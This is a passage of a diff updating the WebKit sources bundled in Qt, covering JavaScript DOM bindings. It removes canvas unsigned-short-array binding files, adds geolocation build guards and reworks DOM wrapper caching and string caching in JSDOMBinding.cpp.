--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasUnsignedShortArrayConstructor_h
-#define JSCanvasUnsignedShortArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasUnsignedShortArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasUnsignedShortArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasUnsignedShortArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayCustom.cpp
deleted file mode 100644
index 290cd4b..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedShortArray.h"
-
-#include "CanvasUnsignedShortArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasUnsignedShortArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<unsigned short>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasUnsignedShortArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasUnsignedShortArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSConsoleCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSConsoleCustom.cpp
index 9c48467..b631cdd 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSConsoleCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSConsoleCustom.cpp
@@ -24,11 +24,13 @@
  */
 
 #include "config.h"
+
 #include "JSConsole.h"
-#include "JavaScriptProfile.h"
-#include <runtime/JSArray.h>
 
 #include "Console.h"
+#include "JavaScriptProfile.h"
+#include "ScriptCallStack.h"
+#include <runtime/JSArray.h>
 
 using namespace JSC;
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionCallback.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionCallback.cpp
index e5f83aa..cc6d45c 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionCallback.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionCallback.cpp
@@ -26,6 +26,8 @@
 #include "config.h"
 #include "JSCustomPositionCallback.h"
 
+#if ENABLE(GEOLOCATION)
+
 #include "Frame.h"
 #include "JSGeoposition.h"
 #include "ScriptController.h"
@@ -52,3 +54,5 @@ void JSCustomPositionCallback::handleEvent(Geoposition* geoposition)
 }
 
 } // namespace WebCore
+
+#endif // ENABLE(GEOLOCATION)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionErrorCallback.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionErrorCallback.cpp
index bd64deb..c94ae9a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionErrorCallback.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomPositionErrorCallback.cpp
@@ -26,6 +26,8 @@
 #include "config.h"
 #include "JSCustomPositionErrorCallback.h"
 
+#if ENABLE(GEOLOCATION)
+
 #include "Frame.h"
 #include "JSPositionError.h"
 #include "ScriptController.h"
@@ -53,3 +55,5 @@ void JSCustomPositionErrorCallback::handleEvent(PositionError* positionError)
 }
     
 } // namespace WebCore
+
+#endif // ENABLE(GEOLOCATION)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomSQLStatementErrorCallback.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomSQLStatementErrorCallback.cpp
index 6178509..4d5de79 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomSQLStatementErrorCallback.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomSQLStatementErrorCallback.cpp
@@ -77,7 +77,7 @@ bool JSCustomSQLStatementErrorCallback::handleEvent(SQLTransaction* transaction,
         // Therefore an exception and returning true are the same thing - so, return true on an exception
         return true;
     }
-    return result.toBoolean(exec);
+    return !result.isFalse();
 }
 
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomXPathNSResolver.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomXPathNSResolver.cpp
index c2884d7..07cfc74 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCustomXPathNSResolver.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCustomXPathNSResolver.cpp
@@ -90,7 +90,7 @@ String JSCustomXPathNSResolver::lookupNamespaceURI(const String& prefix)
     args.append(jsString(exec, prefix));
 
     m_globalObject->globalData()->timeoutChecker.start();
-    JSValue retval = callInWorld(exec, function, callType, callData, m_customResolver, args, currentWorld(m_globalObject->globalExec()));
+    JSValue retval = JSC::call(exec, function, callType, callData, m_customResolver, args);
     m_globalObject->globalData()->timeoutChecker.stop();
 
     String result;
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMApplicationCacheCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMApplicationCacheCustom.cpp
index 91ee51a..5637087 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMApplicationCacheCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMApplicationCacheCustom.cpp
@@ -91,7 +91,7 @@ JSValue JSDOMApplicationCache::addEventListener(ExecState* exec, const ArgList&
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -101,7 +101,7 @@ JSValue JSDOMApplicationCache::removeEventListener(ExecState* exec, const ArgLis
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.cpp
index ef69c7b..f294dad 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSDOMBinding.cpp
@@ -25,6 +25,7 @@
 
 #include "ActiveDOMObject.h"
 #include "DOMCoreException.h"
+#include "DOMObjectHashTableMap.h"
 #include "Document.h"
 #include "EventException.h"
 #include "ExceptionBase.h"
@@ -33,10 +34,11 @@
 #include "HTMLAudioElement.h"
 #include "HTMLCanvasElement.h"
 #include "HTMLImageElement.h"
-#include "HTMLScriptElement.h"
 #include "HTMLNames.h"
+#include "HTMLScriptElement.h"
 #include "JSDOMCoreException.h"
 #include "JSDOMWindowCustom.h"
+#include "JSDebugWrapperSet.h"
 #include "JSEventException.h"
 #include "JSExceptionBase.h"
 #include "JSNode.h"
@@ -45,12 +47,16 @@
 #include "KURL.h"
 #include "MessagePort.h"
 #include "RangeException.h"
+#include "ScriptCachedFrameData.h"
 #include "ScriptController.h"
 #include "Settings.h"
+#include "WebCoreJSClientData.h"
 #include "XMLHttpRequestException.h"
+#include <runtime/DateInstance.h>
 #include <runtime/Error.h>
 #include <runtime/JSFunction.h>
 #include <runtime/PrototypeFunction.h>
+#include <wtf/MathExtras.h>
 #include <wtf/StdLibExtras.h>
 
 #if ENABLE(SVG)
@@ -63,11 +69,6 @@
 #include "XPathException.h"
 #endif
 
-#if ENABLE(WORKERS)
-#include <wtf/ThreadSpecific.h>
-using namespace WTF;
-#endif
-
 using namespace JSC;
 
 namespace WebCore {
@@ -77,121 +78,6 @@ using namespace HTMLNames;
 typedef Document::JSWrapperCache JSWrapperCache;
 typedef Document::JSWrapperCacheMap JSWrapperCacheMap;
 
-// For debugging, keep a set of wrappers currently registered, and check that
-// all are unregistered before they are destroyed. This has helped us fix at
-// least one bug.
-
-static void addWrapper(DOMObject* wrapper);
-static void removeWrapper(DOMObject* wrapper);
-static void removeWrappers(const JSWrapperCache& wrappers);
-static void removeWrappers(const DOMObjectWrapperMap& wrappers);
-
-#ifdef NDEBUG
-
-static inline void addWrapper(DOMObject*)
-{
-}
-
-static inline void removeWrapper(DOMObject*)
-{
-}
-
-static inline void removeWrappers(const JSWrapperCache&)
-{
-}
-
-static inline void removeWrappers(const DOMObjectWrapperMap&)
-{
-}
-
-#else
-
-static HashSet<DOMObject*>& wrapperSet()
-{
-#if ENABLE(WORKERS)
-    DEFINE_STATIC_LOCAL(ThreadSpecific<HashSet<DOMObject*> >, staticWrapperSet, ());
-    return *staticWrapperSet;
-#else
-    DEFINE_STATIC_LOCAL(HashSet<DOMObject*>, staticWrapperSet, ());
-    return staticWrapperSet;
-#endif
-}
-
-static void addWrapper(DOMObject* wrapper)
-{
-    ASSERT(!wrapperSet().contains(wrapper));
-    wrapperSet().add(wrapper);
-}
-
-static void removeWrapper(DOMObject* wrapper)
-{
-    if (!wrapper)
-        return;
-    ASSERT(wrapperSet().contains(wrapper));
-    wrapperSet().remove(wrapper);
-}
-
-static void removeWrappers(const JSWrapperCache& wrappers)
-{
-    JSWrapperCache::const_iterator wrappersEnd = wrappers.end();
-    for (JSWrapperCache::const_iterator it = wrappers.begin(); it != wrappersEnd; ++it)
-        removeWrapper(it->second);
-}
-
-static inline void removeWrappers(const DOMObjectWrapperMap& wrappers)
-{
-    DOMObjectWrapperMap::const_iterator wrappersEnd = wrappers.end();
-    for (DOMObjectWrapperMap::const_iterator it = wrappers.begin(); it != wrappersEnd; ++it)
-        removeWrapper(it->second);
-}
-
-DOMObject::~DOMObject()
-{
-    ASSERT(!wrapperSet().contains(this));
-}
-
-#endif
-
-DOMWrapperWorld::DOMWrapperWorld(JSC::JSGlobalData* globalData)
-    : m_globalData(globalData)
-{
-}
-
-DOMWrapperWorld::~DOMWrapperWorld()
-{
-    JSGlobalData::ClientData* clientData = m_globalData->clientData;
-    ASSERT(clientData);
-    static_cast<WebCoreJSClientData*>(clientData)->forgetWorld(this);
-
-    removeWrappers(m_wrappers);
-
-    for (HashSet<Document*>::iterator iter = documentsWithWrappers.begin(); iter != documentsWithWrappers.end(); ++iter)
-        forgetWorldOfDOMNodesForDocument(*iter, this);
-    for (HashSet<ScriptController*>::iterator iter = scriptControllersWithShells.begin(); iter != scriptControllersWithShells.end(); ++iter)
-        (*iter)->forgetWorld(this);
-}
-
-EnterDOMWrapperWorld::EnterDOMWrapperWorld(JSC::JSGlobalData& globalData, DOMWrapperWorld* isolatedWorld)
-{
-    JSGlobalData::ClientData* clientData = globalData.clientData;
-    ASSERT(clientData);
-    m_clientData = static_cast<WebCoreJSClientData*>(clientData);
-    m_clientData->m_worldStack.append(isolatedWorld);
-}
-
-EnterDOMWrapperWorld::EnterDOMWrapperWorld(JSC::ExecState* exec, DOMWrapperWorld* isolatedWorld)
-{
-    JSGlobalData::ClientData* clientData = exec->globalData().clientData;
-    ASSERT(clientData);
-    m_clientData = static_cast<WebCoreJSClientData*>(clientData);
-    m_clientData->m_worldStack.append(isolatedWorld);
-}
-
-EnterDOMWrapperWorld::~EnterDOMWrapperWorld()
-{
-    m_clientData->m_worldStack.removeLast();
-}
-
 class JSGlobalDataWorldIterator {
 public:
     JSGlobalDataWorldIterator(JSGlobalData* globalData)
@@ -228,124 +114,105 @@ private:
     HashSet<DOMWrapperWorld*>::iterator m_end;
 };
 
-static inline DOMWrapperWorld* currentWorld(JSC::JSGlobalData& globalData)
-{
-    JSGlobalData::ClientData* clientData = globalData.clientData;
-    ASSERT(clientData);
-    return static_cast<WebCoreJSClientData*>(clientData)->currentWorld();
-}
-
-DOMWrapperWorld* currentWorld(JSC::ExecState* exec)
-{
-    return currentWorld(exec->globalData());
-}
-
-DOMWrapperWorld* normalWorld(JSC::JSGlobalData& globalData)
-{
-    JSGlobalData::ClientData* clientData = globalData.clientData;
-    ASSERT(clientData);
-    return static_cast<WebCoreJSClientData*>(clientData)->normalWorld();
-}
-
-DOMWrapperWorld* mainThreadNormalWorld()
-{
-    ASSERT(isMainThread());
-    return normalWorld(*JSDOMWindow::commonJSGlobalData());
-}
-
-DOMWrapperWorld* mainThreadCurrentWorld()
+const JSC::HashTable* getHashTableForGlobalData(JSGlobalData& globalData, const JSC::HashTable* staticTable)
 {
-    ASSERT(isMainThread());
-
-    JSGlobalData::ClientData* clientData = JSDOMWindowBase::commonJSGlobalData()->clientData;
-    ASSERT(clientData);
-    return static_cast<WebCoreJSClientData*>(clientData)->currentWorld();
+    return DOMObjectHashTableMap::mapFor(globalData).get(staticTable);
 }
 
-DOMObjectHashTableMap& DOMObjectHashTableMap::mapFor(JSGlobalData& globalData)
+bool hasCachedDOMObjectWrapperUnchecked(JSGlobalData* globalData, void* objectHandle)
 {
-    JSGlobalData::ClientData* clientData = globalData.clientData;
-    ASSERT(clientData);
-    return static_cast<WebCoreJSClientData*>(clientData)->hashTableMap;
+    for (JSGlobalDataWorldIterator worldIter(globalData); worldIter; ++worldIter) {
+        if (worldIter->m_wrappers.uncheckedGet(objectHandle))
+            return true;
+    }
+    return false;
 }
 
-const JSC::HashTable* getHashTableForGlobalData(JSGlobalData& globalData, const JSC::HashTable* staticTable)
+bool hasCachedDOMObjectWrapper(JSGlobalData* globalData, void* objectHandle)
 {
-    return DOMObjectHashTableMap::mapFor(globalData).get(staticTable);
+    for (JSGlobalDataWorldIterator worldIter(globalData); worldIter; ++worldIter) {
+        if (worldIter->m_wrappers.get(objectHandle))
+            return true;
+    }
+    return false;
 }
 
-//inline DOMObjectWrapperMap& DOMObjectWrapperMap::mapFor(JSGlobalData& globalData)
-inline DOMObjectWrapperMap& DOMObjectWrapperMapFor(JSGlobalData& globalData)
+DOMObject* getCachedDOMObjectWrapper(JSC::ExecState* exec, void* objectHandle) 
 {
-    return currentWorld(globalData)->m_wrappers;
+    return domObjectWrapperMapFor(exec).get(objectHandle);
 }
 
-DOMObject* getCachedDOMObjectWrapper(JSGlobalData& globalData, void* objectHandle) 
+void cacheDOMObjectWrapper(JSC::ExecState* exec, void* objectHandle, DOMObject* wrapper) 
 {
-    return DOMObjectWrapperMapFor(globalData).get(objectHandle);
+    JSDebugWrapperSet::willCacheWrapper(wrapper);
+    domObjectWrapperMapFor(exec).set(objectHandle, wrapper);
 }
 
-void cacheDOMObjectWrapper(JSGlobalData& globalData, void* objectHandle, DOMObject* wrapper) 
+bool hasCachedDOMNodeWrapperUnchecked(Document* document, Node* node)
 {
-    addWrapper(wrapper);
-    DOMObjectWrapperMapFor(globalData).set(objectHandle, wrapper);
-}
+    if (!document)
+        return hasCachedDOMObjectWrapperUnchecked(JSDOMWindow::commonJSGlobalData(), node);
 
-JSNode* getCachedDOMNodeWrapper(Document* document, Node* node)
-{
-    if (document)
-        return document->getWrapperCache(mainThreadCurrentWorld())->get(node);
-    return static_cast<JSNode*>(DOMObjectWrapperMapFor(*JSDOMWindow::commonJSGlobalData()).get(node));
+    JSWrapperCacheMap& wrapperCacheMap = document->wrapperCacheMap();
+    for (JSWrapperCacheMap::iterator iter = wrapperCacheMap.begin(); iter != wrapperCacheMap.end(); ++iter) {
+        if (iter->second->uncheckedGet(node))
+            return true;
+    }
+    return false;
 }
 
 void forgetDOMObject(DOMObject* wrapper, void* objectHandle)
 {
     JSC::JSGlobalData* globalData = Heap::heap(wrapper)->globalData();
-    for (JSGlobalDataWorldIterator worldIter(globalData); worldIter; ++worldIter) {
-        DOMObjectWrapperMap& wrappers = worldIter->m_wrappers;
-        DOMObjectWrapperMap::iterator iter = wrappers.find(objectHandle);
-        if ((iter != wrappers.end()) && (iter->second == wrapper)) {
-            removeWrapper(wrapper);
-            wrappers.remove(iter);
-            return;
-        }
+
+    // Check the normal world first!
+    JSGlobalData::ClientData* clientData = globalData->clientData;
+    ASSERT(clientData);
+    DOMObjectWrapperMap& wrappers = static_cast<WebCoreJSClientData*>(clientData)->normalWorld()->m_wrappers;
+    if (wrappers.uncheckedRemove(objectHandle, wrapper)) {
+        JSDebugWrapperSet::didUncacheWrapper(wrapper);
+        return;
     }
 
-    // If the world went away, it should have removed this wrapper from the set.
-    ASSERT(!wrapperSet().contains(wrapper));
+    // We can't guarantee that a wrapper is in the cache when it uncaches itself,
+    // since a new wrapper may be cached before the old wrapper's destructor runs.
+    for (JSGlobalDataWorldIterator worldIter(globalData); worldIter; ++worldIter) {
+        if (worldIter->m_wrappers.uncheckedRemove(objectHandle, wrapper))
+            break;
+    }
+    JSDebugWrapperSet::didUncacheWrapper(wrapper);
 }
 
-void forgetDOMNode(DOMObject* wrapper, Node* node, Document* document)
+void forgetDOMNode(JSNode* wrapper, Node* node, Document* document)
 {
+    node->clearWrapper(wrapper);
+
     if (!document) {
         forgetDOMObject(wrapper, node);
         return;
     }
 
+    // We can't guarantee that a wrapper is in the cache when it uncaches itself,
+    // since a new wrapper may be cached before the old wrapper's destructor runs.
     JSWrapperCacheMap& wrapperCacheMap = document->wrapperCacheMap();
     for (JSWrapperCacheMap::iterator wrappersIter = wrapperCacheMap.begin(); wrappersIter != wrapperCacheMap.end(); ++wrappersIter) {
-        JSWrapperCache* wrappers = wrappersIter->second;
-        JSWrapperCache::iterator iter = wrappers->find(node);
-        if ((iter != wrappers->end()) && (iter->second == wrapper)) {
-            wrappers->remove(iter);
-            removeWrapper(wrapper);
-            return;
-        }
+        if (wrappersIter->second->uncheckedRemove(node, wrapper))
+            break;
     }
-
-    // If the world went away, it should have removed this wrapper from the set.
-    ASSERT(!wrapperSet().contains(wrapper));
+    JSDebugWrapperSet::didUncacheWrapper(wrapper);
 }
 
-void cacheDOMNodeWrapper(Document* document, Node* node, JSNode* wrapper)
+void cacheDOMNodeWrapper(JSC::ExecState* exec, Document* document, Node* node, JSNode* wrapper)
 {
-    if (!document) {
-        addWrapper(wrapper);
-        DOMObjectWrapperMapFor(*JSDOMWindow::commonJSGlobalData()).set(node, wrapper);
-        return;
-    }
-    addWrapper(wrapper);
-    document->getWrapperCache(mainThreadCurrentWorld())->set(node, wrapper);
+    JSDebugWrapperSet::willCacheWrapper(wrapper);
+
+    if (!document)
+        domObjectWrapperMapFor(exec).set(node, wrapper);
+    else
+        document->getWrapperCache(currentWorld(exec))->set(node, wrapper);
+
+    if (currentWorld(exec)->isNormal())
+        node->setWrapper(wrapper);
 }
 
 void forgetAllDOMNodesForDocument(Document* document)
@@ -354,21 +221,11 @@ void forgetAllDOMNodesForDocument(Document* document)
     JSWrapperCacheMap& wrapperCacheMap = document->wrapperCacheMap();
     JSWrapperCacheMap::const_iterator wrappersMapEnd = wrapperCacheMap.end();
     for (JSWrapperCacheMap::const_iterator wrappersMapIter = wrapperCacheMap.begin(); wrappersMapIter != wrappersMapEnd; ++wrappersMapIter) {
-        JSWrapperCache* wrappers = wrappersMapIter->second;
-        removeWrappers(*wrappers);
-        delete wrappers;
+        delete wrappersMapIter->second;
         wrappersMapIter->first->forgetDocument(document);
     }
 }
 
-void forgetWorldOfDOMNodesForDocument(Document* document, DOMWrapperWorld* world)
-{
-    JSWrapperCache* wrappers = document->wrapperCacheMap().take(world);
-    ASSERT(wrappers); // 'world' should only know about 'document' if 'document' knows about 'world'!
-    removeWrappers(*wrappers);
-    delete wrappers;
-}
-
 static inline bool isObservableThroughDOM(JSNode* jsNode, DOMWrapperWorld* world)
 {
     // Certain conditions implicitly make a JS DOM node wrapper observable
@@ -395,14 +252,14 @@ static inline bool isObservableThroughDOM(JSNode* jsNode, DOMWrapperWorld* world
         // the custom markChildren functions rather than here.
         if (node->isElementNode()) {
             if (NamedNodeMap* attributes = static_cast<Element*>(node)->attributeMap()) {
-                if (DOMObject* wrapper = world->m_wrappers.get(attributes)) {
+                if (DOMObject* wrapper = world->m_wrappers.uncheckedGet(attributes)) {
                     if (wrapper->hasCustomProperties())
                         return true;
                 }
             }
             if (node->isStyledElement()) {
                 if (CSSMutableStyleDeclaration* style = static_cast<StyledElement*>(node)->inlineStyleDecl()) {
-                    if (DOMObject* wrapper = world->m_wrappers.get(style)) {
+                    if (DOMObject* wrapper = world->m_wrappers.uncheckedGet(style)) {
                         if (wrapper->hasCustomProperties())
                             return true;
                     }
@@ -410,7 +267,7 @@ static inline bool isObservableThroughDOM(JSNode* jsNode, DOMWrapperWorld* world
             }
             if (static_cast<Element*>(node)->hasTagName(canvasTag)) {
                 if (CanvasRenderingContext* context = static_cast<HTMLCanvasElement*>(node)->renderingContext()) {
-                    if (DOMObject* wrapper = world->m_wrappers.get(context)) {
+                    if (DOMObject* wrapper = world->m_wrappers.uncheckedGet(context)) {
                         if (wrapper->hasCustomProperties())
                             return true;
                     }
@@ -448,8 +305,8 @@ void markDOMNodesForDocument(MarkStack& markStack, Document* document)
         DOMWrapperWorld* world = wrappersIter->first;
         JSWrapperCache* nodeDict = wrappersIter->second;
 
-        JSWrapperCache::iterator nodeEnd = nodeDict->end();
-        for (JSWrapperCache::iterator nodeIt = nodeDict->begin(); nodeIt != nodeEnd; ++nodeIt) {
+        JSWrapperCache::iterator nodeEnd = nodeDict->uncheckedEnd();
+        for (JSWrapperCache::iterator nodeIt = nodeDict->uncheckedBegin(); nodeIt != nodeEnd; ++nodeIt) {
             JSNode* jsNode = nodeIt->second;
             if (isObservableThroughDOM(jsNode, world))
                 markStack.append(jsNode);
@@ -467,8 +324,7 @@ void markActiveObjectsForContext(MarkStack& markStack, JSGlobalData& globalData,
     for (HashMap<ActiveDOMObject*, void*>::const_iterator iter = activeObjects.begin(); iter != activeObjectsEnd; ++iter) {
         if (iter->first->hasPendingActivity()) {
             // Generally, an active object with pending activity must have a wrapper to mark its listeners.
-            // However, some ActiveDOMObjects don't have JS wrappers (timers created by setTimeout is one example).
-            // FIXME: perhaps need to make sure even timers have a markable 'wrapper'.
+            // However, some ActiveDOMObjects don't have JS wrappers.
             markDOMObjectWrapper(markStack, globalData, iter->second);
         }
     }
@@ -491,7 +347,7 @@ static inline void takeWrappers(Node* node, Document* document, WrapperSet& wrap
         JSWrapperCacheMap& wrapperCacheMap = document->wrapperCacheMap();
         for (JSWrapperCacheMap::iterator iter = wrapperCacheMap.begin(); iter != wrapperCacheMap.end(); ++iter) {
             if (JSNode* wrapper = iter->second->take(node)) {
-                removeWrapper(wrapper);
+                JSDebugWrapperSet::didUncacheWrapper(wrapper);
                 wrapperSet.append(WrapperAndWorld(wrapper, iter->first));
             }
         }
@@ -499,7 +355,7 @@ static inline void takeWrappers(Node* node, Document* document, WrapperSet& wrap
         for (JSGlobalDataWorldIterator worldIter(JSDOMWindow::commonJSGlobalData()); worldIter; ++worldIter) {
             DOMWrapperWorld* world = *worldIter;
             if (JSNode* wrapper = static_cast<JSNode*>(world->m_wrappers.take(node))) {
-                removeWrapper(wrapper);
+                JSDebugWrapperSet::didUncacheWrapper(wrapper);
                 wrapperSet.append(WrapperAndWorld(wrapper, world));
             }
         }
@@ -515,11 +371,11 @@ void updateDOMNodeDocument(Node* node, Document* oldDocument, Document* newDocum
 
     for (unsigned i = 0; i < wrapperSet.size(); ++i) {
         JSNode* wrapper = wrapperSet[i].first;
+        JSDebugWrapperSet::willCacheWrapper(wrapper);
         if (newDocument)
             newDocument->getWrapperCache(wrapperSet[i].second)->set(node, wrapper);
         else
             wrapperSet[i].second->m_wrappers.set(node, wrapper);
-        addWrapper(wrapper);
     }
 }
 
@@ -532,11 +388,65 @@ void markDOMObjectWrapper(MarkStack& markStack, JSGlobalData& globalData, void*
         return;
 
     for (JSGlobalDataWorldIterator worldIter(&globalData); worldIter; ++worldIter) {
-        if (DOMObject* wrapper = worldIter->m_wrappers.get(object))
+        if (DOMObject* wrapper = worldIter->m_wrappers.uncheckedGet(object))
+            markStack.append(wrapper);
+    }
+}
+
+void markDOMNodeWrapper(MarkStack& markStack, Document* document, Node* node)
+{
+    if (document) {
+        JSWrapperCacheMap& wrapperCacheMap = document->wrapperCacheMap();
+        for (JSWrapperCacheMap::iterator iter = wrapperCacheMap.begin(); iter != wrapperCacheMap.end(); ++iter) {
+            if (JSNode* wrapper = iter->second->uncheckedGet(node))
+                markStack.append(wrapper);
+        }
+        return;
+    }
+
+    for (JSGlobalDataWorldIterator worldIter(JSDOMWindow::commonJSGlobalData()); worldIter; ++worldIter) {
+        if (DOMObject* wrapper = worldIter->m_wrappers.uncheckedGet(node))
             markStack.append(wrapper);
     }
 }
 
+static void stringWrapperDestroyed(JSString* str, void* context)
+{
+    StringImpl* cacheKey = static_cast<StringImpl*>(context);
+    JSC::JSGlobalData* globalData = Heap::heap(str)->globalData();
+
+    // Check the normal world first!
+    JSGlobalData::ClientData* clientData = globalData->clientData;
+    ASSERT(clientData);
+    JSStringCache& cache = static_cast<WebCoreJSClientData*>(clientData)->normalWorld()->m_stringCache;
+    if (cache.uncheckedRemove(cacheKey, str)) {
+        cacheKey->deref();
+        return;
+    }
+
+    for (JSGlobalDataWorldIterator worldIter(globalData); worldIter; ++worldIter) {
+        if (worldIter->m_stringCache.uncheckedRemove(cacheKey, str))
+            break;
+    }
+
+    cacheKey->deref();
+}
+
+JSValue jsStringSlowCase(ExecState* exec, JSStringCache& stringCache, StringImpl* stringImpl)
+{
+    // If there is a stale entry, we have to explicitly remove it to avoid
+    // problems down the line.
+    if (JSString* wrapper = stringCache.uncheckedGet(stringImpl))
+        stringCache.uncheckedRemove(stringImpl, wrapper);
+
+    JSString* wrapper = jsStringWithFinalizer(exec, stringImpl->ustring(), stringWrapperDestroyed, stringImpl);
+    stringCache.set(stringImpl, wrapper);
+    // ref explicitly instead of using a RefPtr-keyed hashtable because the wrapper can
+    // outlive the cache, so the stringImpl has to match the wrapper's lifetime.
+    stringImpl->ref();
+    return wrapper;
+}
+
 JSValue jsStringOrNull(ExecState* exec, const String& s)
 {
     if (s.isNull())
@@ -565,6 +475,11 @@ JSValue jsStringOrFalse(ExecState* exec, const String& s)
